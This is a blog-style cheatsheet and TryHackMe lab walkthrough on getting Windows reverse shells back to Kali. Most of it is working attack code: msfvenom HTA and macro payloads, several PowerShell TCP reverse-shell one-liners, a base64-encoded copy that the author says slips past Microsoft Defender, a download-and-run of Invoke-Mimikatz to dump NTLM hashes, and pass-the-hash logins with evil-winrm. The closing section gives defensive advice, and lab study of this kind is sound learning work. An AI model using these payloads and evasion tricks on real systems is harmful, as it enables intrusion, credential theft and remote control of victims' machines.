Windows Reverse Shells Cheatsheet

Rich
7 min readFeb 3, 2023

TL;DR Combination walkthrough of THM Weaponization under the Red Team Pathway & general cheatsheet of reverse shells from Windows to Kali

Welcome to Part V of our Cheatsheet Series!

Part I: Mimikatz cheatsheet

Part II: Set-Acl cheatsheet

Part III: Get-Acl cheatsheet

Part IV: Enumerating AD cheatsheet

Part V: Windows reverse shells cheatsheet

Part VI: MS Graph PowerShell cheatsheet

Part VII: Hash cracking cheatsheet

Part VIII: The Credential Theft Shuffle

Part IX: SACLs & Querying Collected Logs

Part X: Setting up a simple AD lab in Azure

Background

This cheatsheet was inspired by the THM Weaponization module in the Red Team Pathway here. We are going over several ways to generate a reverse shell on Windows and catch it on Kali. We also cover an easy way to maintain persistence and upgrade to a full featured PSSession from Kali.

In this module THM provides us with a VM that is essentially emulating a Windows workstation being operated by a blissfully unaware user who failed to knock out their annual awareness training. We can upload *.ps1, *.vbs, & *.doc files to it and it will happily “double click” them. Additionally we can feed it a URL and it will gladly “browse” it.

Generating a reverse shell via*.hta

cd /home/kali/Downloads/exploits
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.6.36.88 LPORT=4444 -f hta-psh -o misky.hta
python3 -m http.server 9000

In a separate tab:

netcat -lvp 4444

Now we just need the oblivious user to visit our URL that is hosted by the simple python http server.

Generating a reverse shell via *.ps1

I used a pair of simple PS1s for this.

Fair Warning; Microsoft Defender, and I would hope other anti-malware products, will flag these even if you save them in a *.txt file. If you are on your system at home then you will have to make a folder exception in Defender and then save the PS1s in there.

All you have to do in the PowerShell below is change the IP to that of your Kali VM and change the port # to whatever suits your fancy. I used 4444.

PSReverseShellOneLiner.ps1

$callback = New-Object System.Net.Sockets.TCPClient("10.6.36.88",4444);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()

Invoke-PowerShellTcpOneLine.ps1

$client = New-Object System.Net.Sockets.TCPClient('10.6.36.88',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

$sm=(New-Object Net.Sockets.TCPClient('10.6.36.88',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Next start the netcat listener on Kali and upload the PS1 to the THM VM.

Obfuscating the PS1

THM’s module didn’t mention this, but you can also Base 64 encode the PowerShell one liner, save the PS1, upload it, and not only will it work but it won’t trip Defender on your fully updated Windows system that you have at home. I saved a copy on my Desktop just to test this out, as I did not make an exception in Defender for that. Defender flags the normal PS1, but Base 64 encode it and suddenly it slips by.

I have no idea why Microsoft thought this should be a feature, but it is. We covered it briefly here.

I had to create the Base 64 encoded command on Kali as Defender would block it.

On Kali

sudo apt update
sudo apt install powershell
pwsh

Copy/paste the PowerShell one liner of your choice from earlier to Kali and Base 64 encode it.

$MyCommand = <your one liner of choice>
$MyBase64 = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("$MyCommand"))
$MyBase64

In my case I took the resulting Base 64 and saved it as Base64ReverseShell.ps1.

PowerShell.exe -EncodedCommand JABjAGEAbABsAGIAYQBjAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAiADEAMAAuADYALgAzADYALgA4ADgAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGEAbABsAGIAYQBjAGsALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBhAGwAbABiAGEAYwBrAC4AQwBsAG8AcwBlACgAKQA=

Save that bad boy to a PS1 and you will find that Defender doesn’t flag it :P

We can upload that PS1 to THM’s VM as before and catch the resulting shell in netcat.

But netcat is so limited!

Netcat is great and all. It’s the proverbial Swiss Army knife of bind and reverse shells. However it is also quite limited in functionality. You can copy/paste or manually type commands, but you can’t Ctrl + Z, you can’t use the up arrow to repeat a prior command, interactive commands don’t work very well, etc.

You want to upgrade your shell ASAP. Luckily there is a very simple way to do so in this type of exercise. We ran a simple http server on Kali earlier to host exploit files. We just need to host Invoke-Mimikatz.ps1 as well. Once we get that initial reverse shell on the Windows VM we

Invoke-WebRequest -Uri "10.6.36.88:9000/Invoke-Mimikatz.ps1" -OutFile ".\Invoke-Mimikatz.ps1"
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz

This gets us the username and NTLM hash of that oblivious user who keeps clicking on everything we phish them with. As it turns out their organization didn’t do their ‘Best Practices 101’ training either. This user is a local admin on the workstation.

Let’s make a quick change to the configuration:

winrm quickconfig -force

We can now PTH with evil-winrm from Kali and get a full, interactive PowerShell session, just as if we did a ‘Enter-PSSession’ from a Windows system.

evil-winrm -i 10.10.196.170 -u thm -H 1b2d1f5c87a3b44f61945ab7a98a60bd

Here at test.local this makes us :D . We like fully interactive PowerShell sessions.

We can easily find the flag:

Get-Childitem -Path C:\Users -Include *.txt -File -Recurse -ErrorAction SilentlyContinue
Get-Content C:\Users\thm\Desktop\flag.txt

Additionally we can easily upload and download files. Just bear in mind that absolute paths must be used. For example:

upload /home/kali/Downloads/exploits/Invoke-Mimikatz.ps1
download C:\Users\thm\Desktop\flag.txt /home/kali/Downloads/flag.txt

evil-winrm is incredibly feature rich. For example one can include a ‘script path’ when connecting and then run them.

evil-winrm -i 10.10.195.193 -u thm -H 1b2d1f5c87a3b44f61945ab7a98a60bd -s '/home/kali/Downloads/exploits'
Invoke-Mimikatz.ps1
menu
Invoke-Mimikatz -Command '"token::elevate" "privilege::debug" "lsadump::sam"'

Generating a reverse shell via macros

We covered the basics of macros, why you should block them, and how to block them here.

THM helpfully showed exactly how to generate a reverse shell payload that is meant to be caught by Metasploit:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.6.36.88 LPORT=4444 -f vba

copy/paste the output to a MS Word *.doc macro & save it. Upload the *.doc to the THM VM.

In order to catch the reverse shell on Kali:

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.6.36.88
set LPORT 4444
exploit

Personally I had multiple issues with this approach. The main issue I had is that Microsoft Defender did its job really, really well. It would flag the *.doc even though I saved it in a folder that I had created an exception for. It would keep doing this even after I told it to ignore the file.

A clever attacker would obfuscate the payload better. Microsoft Office macros include the functionality of calling out to PowerShell, cmd.exe, etc to run code. Attackers can do quite a bit of damage in native VBS as well. Again, I am not sure why this is even a feature. I am unsure why no one at Microsoft back in the day put their hand up and said “uhhh, attackers will start abusing this immediately”.

Regardless, it is a feature and attackers have been abusing it since the 90s. Two years ago, in one of our first lab projects and write-ups, we said that IMHO macros should absolutely be disabled via Group Policy, showed how to do so, and created a suspicious macro to test the setup. We even uploaded our suspicious creation to VirusTotal. Within a few weeks Defender detected & deleted it.

We still stand behind that statement. In our humble opinion macros are a security nightmare.

(Obviously if you’re using AAD and Intune instead then disable them that way. The important thing is to disable them with prejudice.)

Summary

This was really just a place to put some reverse shell tricks in one place. I dove into some tangents on mitigation and I’ll dive into a few more here.

  • Disable macros via Group Policy or Intune.
  • Microsoft Defender is actually pretty decent at detecting & blocking this crap. Use it!
  • Follow Best Practice 101, including least privilege.
  • Effectively audit! A truly effective audit is virtually indistinguishable from enumeration.
  • Require annual awareness training for users. Make it informative, actionable, and easy to remember.
  • I am not an IDS SME, but there are TTPs for detecting the C2 channel after your user clicks on this kind of crap

References

PowerShell on Kali: https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/

Enable WinRM: https://www.pdq.com/blog/how-to-enable-winrm-window-remote-management/

Search for files in PowerShell: https://devblogs.microsoft.com/scripting/use-windows-powershell-to-search-for-files/

Evil-winrm: https://github.com/Hackplayers/evil-winrm

PSReverseOneLiner.ps1: https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3

Invoke-PowerShellTcpOneLine.ps1: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1

--

--

Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.